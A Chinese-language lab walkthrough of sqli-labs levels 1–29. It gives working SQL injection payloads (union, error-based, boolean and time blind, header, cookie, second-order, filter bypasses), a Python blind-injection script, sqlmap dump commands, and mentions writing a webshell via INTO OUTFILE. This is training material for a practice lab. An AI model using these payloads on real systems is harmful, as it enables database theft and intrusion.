第一关:

image-20240713185038898

首先我们先判断闭合方式 我们用\来试探闭合方式

发现是单引号闭合,那我们接着就来判断 它的列数 group by 4 发现报错 group 3 发现不报错 说明它就是为3列

接着就是查库 查表 查字段 查内容了

查表

image-20240714211319981

查字段

image-20240714212224329

查内容

image-20240714212450036

注意点:

1.在查表的时候放了个错误

1
?id=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),3--+

这样做是会爆错的 因为在select 后面接的是列名,后面接的from information_schema.tables where table_schema=database() 就相当于这一个查询的sql语句已经完结,但是我们后面还有一个第3列,这个3没有地方可待了 就会报错,所以我们得把这个from….放在最后才行

2.在我们查内容的时候为了区分用户名跟密码时,可以在中间加上,但是要注意的时在两边加上单引号

image-20240714213450441

第二关:

我们判断出这个题为没有闭合方式 ,那么接着开爆

image-20240714214325800

剩下的就是十分容易了 没有过滤点

第三关:

我们可以看到\后面跟着的是’) 说明这个就是闭合方式

image-20240714214619772

实验:

image-20240714214739431

后面的步骤还是一样的 没有过滤 直接开整

第四关:

我们判断闭合方式为:

image-20240714220000170

没有过滤 剩下的就直接爆就行了

第五关:(报错注入)

我们还是一样 照常来判断闭合方式

image-20240714220404256

我们发现是单引号闭合 那么我们来试试它能不能回显出信息

image-20240714220506251

这种就是典型的报错注入的模范(无正常回显,但是有报错回显)

image-20240715135047685

判断出为单引号闭合

那我们就用extractvalue函数进行报错注入

select extractvalue(1,concat(0x7e,(select database())))

concat 的作用就是将第一个参数跟第二个参数连接起来

0x7e就是~的十六进制

image-20240715135338081

接着就进行爆表 爆字段 爆内容了

image-20240715135845981

注意:

要是回显不完全 我们可以(不建议使用limit)

limit:

1
'" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+

都是要注意不能跟group_concat连用 因为在我们使用了group_concat之后就只会返回一行了 limit函数的作用是查看第多少行 一次反会多少行

mid:

1
'" and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),0,31),0x7e),1)--+

第一个参数是要提取查询语句,第二个参数为起始位置,第三个参数为返回的字符个数 所以说:users后面接的就是闭合select的那个括号

substring/substr:

格式与mid一样

第六关:(双引号闭合)

image-20240717195652541

也是报错注入 我们先判断出闭合方式 接着就是来一套组合拳了

第七关:(outfile)

image-20240717201824628

我们正常输入也没有回显 我们输入\ 也没有报错文

image-20240717201915420

但是题目提示了我们 去使用 outfile

我们这里没有报错信息就不能通过\来看后面的字符来判断闭合方式了,就得一个一个的试出来

口诀(判断闭合方式):

参数加符号 报错为这一类 加括号加注释慢慢试 试到不报错

单引号跟双引号不会同时存在

image-20240717221628920

报错 说明是单引号类型

image-20240717221702331

说明可能是存在括号的

image-20240717221735707

慢慢试 找到闭合方式

image-20240717221758984

outfile:

  1. union select+into outfile+写入路径

当设置为不做限制时,我们就可以使用这一函数(看具体要求)

image-20240718213104862

要注意路径问题 我们使用两个反斜杠 是因为反斜杠 \ 在 URL 中主要用于字符转义,确保特殊字符被正确识别和传递。使用双反斜杠 \\ 则是为了在某些编程环境下正确地表示单个反斜杠

一句话木马:

image-20240718223553703

注意在POST里面的参数不要有单引号 会跟前面的单引号优先闭合了

第八关:(布尔盲注)

image-20240718224015899

当我们有语法报错的时候就没有回显了,那我们根据这个试出来闭合方式

image-20240718224047428

闭合方式:

image-20240718224155712

很明显这是一个布尔盲注类型,当我们遇到盲注时 手工注入是很麻烦的,我们可以用脚本帮我跑出来 也可以使用sqlmap去帮我们扫出来,但是我们还是得知道原理是什么 怎么利用回显 得到我们想要的信息

盲注步骤:

1.首先判断长度

比如,我们判断 database()当前数据库 的长度]

1
length( database() )=1

2.枚举字符:

1
ascii(substr( 查询语句 ,1,1))=32 

第九关:(时间盲注)

image-20240719131551390

image-20240719131643739

就慢慢试出闭合方式

image-20240719131744017

image-20240719131802693

当然我们还是用工具来跑是最方便的,自己试还是很慢的

第十关:(时间盲注)

方法跟第九关类似 都是时间盲注 闭合方式为双引号

sqlmap的使用:

1.查找注入点:

1
python sqlmap -u 地址 --level=2 --risk=2 后面两个level risk 是对其深入测试 可能有时候查不到就可以使用这个

2.爆库:

1
python sqlmap -u 地址 --level=2 --risk=2 --dbs

3.爆表:

1
python sqlmap -u 地址 --level=2 --risk=2 -D 库名 --tables

4.爆出所有数据:

1
python sqlmap -u 地址 --level=2 --risk=2 -D 库名 -T 表名 --dump

第十一关:(POST方式)

image-20240719170409097

image-20240719170852380

这个是单引号闭合 只不过提交方式不同而已

image-20240723102236310

注意点:

当我们遇到post提交时,我们需要判断注入点在哪 就看后端的代码是怎么样提交的 我们的注入点是在第一个提交的参数上,把后面的代码注释 拼接我们的查询语句

第十二关:

image-20240723104336301

闭合方式为双引号加括号闭合

image-20240723104550624

万能密码可以进去 说明没问题

注意只有两列

image-20240723104729317

第十三关:

image-20240723104939445

闭合方式为单引号加括号

image-20240723141100598

第十四关:

image-20240723142405407

闭合方式为双引号 继续报错注入

image-20240723142342483

第十五关:(POST类型布尔盲注)

image-20240723191109586

image-20240723191137281

我们可以发现并没有报错文 说明报错注入式行不通的,我们先要试出闭合方式,但是这跟get方式不一样 我们需要登录成功才会有回显(当然是我登录进去才知道的),我们可以利用万能密码进行登录 回显不一样就可以把闭合方式试出来了

image-20240723191736620

我们知道闭合方式只后 就要利用ASCII函数把字符枚举出来了

当然这样是费时的,所以我们可以利用脚本来帮我们跑 或者直接使用sqlmap来跑

python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import time
session = requests.Session()
url = "http://localhost/sqli-labs-master/Less-15/"


def GET_db():
name = ''
for i in range(1,50):
begin = 32
end = 128
tmp = (begin + end) // 2
while begin < end:
paramsPost = "and/**/ascii(substr(database(),{0},1))>{1}-- -" .format(i,tmp)
response = session.get(url+paramsPost)
if 'You are in...........' in response.text:
begin = tmp + 1
tmp = (begin + end) // 2
else:
end = tmp
tmp = (begin + end) // 2
if(tmp==32):
break
name += chr(tmp)
print(name)

def POST_db():
name = ''
for i in range(1,10):
begin = 32
end = 128
mid = (begin + end) // 2
while begin < end:
start_time = time.time()
headers = {
'User-Agent': 'My User Agent 1.0',
}
data = {
"uname": f"admin'/**/and/**/if(ascii(substr(database(),{i},1))>{mid},sleep(1),1)-- -",
"passwd": "123",
"submit": "Submit"
}
session.post(url, data=data, headers=headers)
end_time = time.time()
if end_time - start_time > 1:
begin = mid+1
mid = (begin + end) // 2
else:
end = mid
mid = (begin + end) // 2
if(mid==32):
break
name += chr(mid)
print(name)

POST_db()
#GET_db()

sqlmap跑post请求:

  1. 先用Burp抓包 然后将报文保存下来 例如:保存为post.txt,然后把它放至某个目录下

然后

1
python sqlmap.py -r "路径" -p n --dbs 爆数据库

-r表示加载一个文件,-p指定参数(例如id这样的注入点)

第十六关:(POST时间盲注)

image-20240723204645084

我的环境出问题了 奶奶的死活注释不掉

第十七关:

这一关一开始做不出来 然后我就去源码加了个echo函数

image-20240724184843427

它这个是会检查输入的 它的闭合方式会随着你的输入然后补充一个转义符 使你的闭合字符失效

image-20240724185159327

image-20240724185214952

因为对username参数方式太严格了 所以我们得改变策略 试试password

image-20240724190700670

加了个反斜杠 有报错 那我们就用报错注入就很好做了

第十八关:(Header头注入)

这一关跟上一关一样 但是把用户名跟密码都防死了,所以我们得想别的办法 根据题目提示就是头注入 可以去搜一搜资料

image-20240724200129804

我们先登录进来,发现蓝字 它得到了我们的信息 说明在我们登录成功之后 它把我们的信息写入了数据库在中 那与数据库交互了,说明我们就存在可能可以进行sql注入,那我们可以来试试

根据它的回显,它是写入了我们User-Agent信息

image-20240724201359133

那我们在后面加个单引号发现,有sql语句报错,那我们就接着判断闭合方式,然后进行报错注入就行了

image-20240724201948956

它原本的句子应该是 xxx( a,b ,c ) xxx (‘$a’,’$b’,’$c’) 因为在报错文当中有我们的ip信息 还有用户名 所以我们想要完成闭合,就应该把这整个句子都完成闭合

image-20240724202424360

报错没有了 说明分析是对的,那我们就接着语句进行报错注入

image-20240724204520033

第十九关:

image-20240724205156745

有了上一关的铺垫,那么这一关就好做很多了

我们可以看到注入点在Referer

image-20240724205626629

构造闭合:完成报错注入

image-20240724210327481

第二十关:(cookie注入)

image-20240724210650665

看题目 提示为cookie注入

image-20240724210730274

换汤不换药,我们上bp

注意的是 不是抓我们直接上传的那个包 而是含有cookie的包

image-20240724212814241

是下面这个

image-20240724212621754

那我们就接着来试闭合

image-20240724212915273

有报错信息,那我们思路明确 报错注入

image-20240724213059481

第二十一关:

我们根据题目提示 还是cookie注入

bp上号 抓包

image-20240724215044913

我们可以看到cookie本来应该是admin 但是现在是base64编码后的,所以直接加闭合符是没有用的 我们需要把整体进行base64编码才可以

image-20240724215228276

在这里就可以直接进行编码了,很方便

image-20240724215313268

发现有报错文,那就报错注入

image-20240724215345455

image-20240724215356855

第二十二关:

还是一种题型就不废话了

image-20240724215626486

单引号不报错 说明不是单引号类型的 那我们就试试双引号

image-20240724215923388

第二十三关:(注释符过滤)

image-20240724220052160

经过尝试,我们发现注释符被过滤了# –+ 都用不了

image-20240724222256578

骚姿势:

不难看出 查询语句是这样的:

xxxxx ‘$id’ LIMIT 0,1”;

构造之后: 1‘ group by 3 and ‘1

​ xxxxxx ’1‘ group by 3 and ‘1’ LIMIT 0,1”;

image-20240724222655454

完美闭合 接下来的就很容易了

还有一种方法: xxxxx ‘$id’ LIMIT 0,1”;

​ 1’ group by 3;%00

​ xxxxx ‘1’ group by 3;%00

%00的作用就是停止读取 就相当于注释符了

第二十四关:(二次注入)

二次注入:字面意思就是我们得间接注入

image-20240725091907820

你会发现不管怎么输入,要是登录不了那就会跳转到另外一个界面,所以我们得要转变思路 还有两个按钮 忘记密码那个点进去没有用,那做题的关键就在 创建用户了,我们来创建一个用户

image-20240725093148018

image-20240725093118069

如果其他的题目单引号不行,就试双引号,就只能慢慢试的,没有什么好办法

我们发现可以成功登录 这里我们就猜测 修改密码的逻辑是:

xxxxxxx password= ‘password’ where username= ‘username’

本来我们想改的是admin’#这个用户的密码 但是这个二次注入之后 我们就改成了admin用户的密码 十分神奇

第二十五关:

闭合方式为单引号闭合 但是or跟and 被过滤了

image-20240725094210314

1
?id=0' union select 1,2,3--+

但是直接联合注入也用不到and 但是information这个单词里面是有一个or的 那我们就看它的过滤机制是怎么样的了

image-20240725095058267

可以看到 它是把or替换为空了 那我们双写就可以绕过了

写成infoorrmation 这样就可以绕过了

第二十五关A:

方法一样 闭合方式为数字型

image-20240725095524719

第二十六关:(空格过滤 注释符过滤)

空格过滤:

绕过方式
  • 编码绕过
    • %09 TAB键(空格)
    • %0A 新建一行(空格)
    • %0C 新的一页
    • %0D return即回车功能 (php-5.2.17,5.3.29成功)
    • %0B TAB键(垂直)
    • %A0 空格 (php-5.2.17成功)
  • 括号绕过
    • 用()绕过 (如果可以最好是用报错注入,空格比较少)

但是在这一关就只能用括号绕过了,编码绕过要看apache解析,我的解析不了,所以就只能用括号绕过了

注意点:

在用括号绕过时,不能改变原本的运行逻辑,才能实现绕过

image-20240725112334400

1
?id=1'||extractvalue(1,concat(0x7e,(substr((select(group_concat(database()))),1,1))))||'1

第二十六关A:

image-20240725112637031

没有报错文了

image-20240725115344049

如果没有括号就啥也执行不了,所以应该就是没有闭合的原因,我们已经判断出是单引号闭合类型 那就加括号就行

这题可以用盲注,也可以用union 注入 编码绕过是可以的,但是我的解析不了 思路是这样

第二十七关:

image-20240725115941375

还是可以双写绕过 也有报错信息 那我们就选择报错注入

image-20240725120833832

select好像是会检验两遍,那我们就三写绕过

1
?id=1'||extractvalue(1,concat(0x7e,(seseselectlectlect(group_concat(database())))))||'1

第二十七A:

这关没有报错信息 就不能用报错注入了 闭合方式为双引号

用盲注 或者联合注入

第二十八关:

image-20240725130414445

试出闭合方式为单引号加括号

union注入 或者是盲注

该关卡过滤了注释符空格还过滤了union和select。\s表示空格+表示匹配一次或多次/i表示不区分大小写所以整体表示匹配 union加一个或多个空格加select其中union和select不区分大小。所以我们可以使用重写绕过写。

img

1
2
3
?id=0')unionunion%0Aselect%0Aselect%0A1,2,3%0Aand('1


image-20240725131356179

第二十八A关:

闭合方式为单引号加括号

该关卡只过滤union+select。其他没有过滤。

image-20240725140315550

1
?id=0')unionunion%0Aselect%0Aselect%0A1,2,3%0Aand('1

image-20240725140743516

第二十九关:

image-20240725141429572

我都不知道这关的限制在哪 直接最简单的语句就打进来了

大佬笔记,大家就看看到底过滤的个啥:

二十九关就是会对输入的参数进行校验是否为数字但是在对参数值进行校验之前的提取时候只提取了第一个id值如果我们有两个id参数第一个id参数正常数字第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

img

img

img

1
2
3
4
5
6
7
?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表

?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+ 爆字段

?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

爆密码账户